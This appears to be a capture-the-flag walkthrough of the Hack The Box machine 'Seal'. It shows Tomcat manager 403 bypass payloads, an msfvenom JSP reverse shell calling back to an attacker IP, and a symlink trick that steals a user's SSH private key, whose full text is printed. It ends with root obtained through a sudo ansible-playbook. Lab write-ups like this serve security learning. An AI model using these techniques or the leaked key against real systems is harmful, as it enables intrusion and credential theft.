Foothold:
Started by enumerating ports with nmap
:
There are two websites, on port 443 it seems just like a static site:
However on port 8080 there is a GitBucket server:
After we create an account and singing in there are two available repos:
infra
seal_market
After checking the first one there is not much information but ansible playbooks to deploy a tomcat server.
On the other hand in seal_market
there are much more commits, if we have a look at them we can see that there are credentials leaked:
|
|
Now that we have tomcat credentials tried to access the tomcat manager, but kept having 403 errors somehow. But if we look on the commits how it’s configured nginx:
...
location /manager/html {
if ($ssl_client_verify != SUCCESS) {
return 403;
}
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
proxy_pass http://localhost:8000;
proxy_read_timeout 90;
proxy_redirect http://localhost:8000 https://0.0.0.0;
# First attempt to serve request as file, then
# as directory, then fall back to displaying a 404.
# try_files $uri $uri/ =404;
}
...
It’s using muthual authentication on tomcat manager. Using ffuf
found other tomcat endpoint that we can log in:
After some research on how 403 could be bypassed found this tool and among the payloads it uses \..;
so tried it out and worked:
After bypassing it found this other post and this one ,they explain it in more detail, another bypass would be
/manager;foo=bar/html
Now we can just generate a reverse shell with msfvenom
:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.15.193 LPORT=1234 -f war > shell.war
Payload size: 1101 bytes
Final size of war file: 1101 bytes
After that just upload the reverse shell with tomcat manager, to do so intercept the request with burp and modify the post url so it uses the bypass:
Then just simly use curl
to invoke the reverse shell:
curl -k https://seal.htb/shell/
User
Used linpeas and found some suspicious cronjobs running in the background:
So let’s check what that ansible playbook does:
cat /opt/backups/playbook/run.yml
- hosts: localhost
tasks:
- name: Copy Files
synchronize: src=/var/lib/tomcat9/webapps/ROOT/admin/dashboard dest=/opt/backups/files copy_links=yes
- name: Server Backups
archive:
path: /opt/backups/files/
dest: "/opt/backups/archives/backup-{{ansible_date_time.date}}-{{ansible_date_time.time}}.gz"
- name: Clean
file:
state: absent
path: /opt/backups/files/
If we have a look at the documentation, we can check what copy_links
does:
So if we manage to create a symbolic link to a file that luis owns in /var/lib/tomcat9/webapps/ROOT/admin/dashboard
we may be able to read it on the backup files.
We can achieve those permissions on /var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads
:
ls -lisha /var/lib/tomcat9/webapps/ROOT/admin/dashboard/
total 100K
539501 4.0K drwxr-xr-x 7 root root 4.0K May 7 09:26 .
539500 4.0K drwxr-xr-x 3 root root 4.0K May 6 10:48 ..
539505 4.0K drwxr-xr-x 5 root root 4.0K Mar 7 2015 bootstrap
539515 4.0K drwxr-xr-x 2 root root 4.0K Mar 7 2015 css
539518 4.0K drwxr-xr-x 4 root root 4.0K Mar 7 2015 images
539532 72K -rw-r--r-- 1 root root 71K May 6 10:42 index.html
539537 4.0K drwxr-xr-x 4 root root 4.0K Mar 7 2015 scripts
64791 4.0K drwxrwxrwx 2 root root 4.0K Jul 12 21:00 uploads
We can now create the symbolic link with the following command:
ln -s /home/luis/.ssh/id_rsa /var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads/id_rsa
Now we can decompress the backup:
gzip -d backup-2021-07-12-21\:21\:33.gz
Use strings
to get the private ssh key:
-----BEGIN OPENSSH PRIVATE KEY-----
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
u8KqOiDVrwmFJRAAAACWx1aXNAc2VhbAE=
-----END OPENSSH PRIVATE KEY-----
Root
As luis we can execute ansible playbooks with sudo
:
sudo -l
Matching Defaults entries for luis on seal:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User luis may run the following commands on seal:
(ALL) NOPASSWD: /usr/bin/ansible-playbook *
So just create a sample playbook to execute arbitrary code:
|
|
Finally just execute the playbook:
sudo /usr/bin/ansible-playbook evil-playbook.yml
[WARNING]: provided hosts list is empty, only localhost is available. Note that the implicit localhost does not match 'all'
PLAY [Display flag] **********************************************************************************************************************************************************************************************************************************************************************************************************
TASK [Gathering Facts] *******************************************************************************************************************************************************************************************************************************************************************************************************
ok: [localhost]
TASK [Display root flag] *****************************************************************************************************************************************************************************************************************************************************************************************************
changed: [localhost]
TASK [Print to console] ******************************************************************************************************************************************************************************************************************************************************************************************************
ok: [localhost] => {
"msg": "uid=0(root) gid=0(root) groups=0(root)"
}
PLAY RECAP *******************************************************************************************************************************************************************************************************************************************************************************************************************
localhost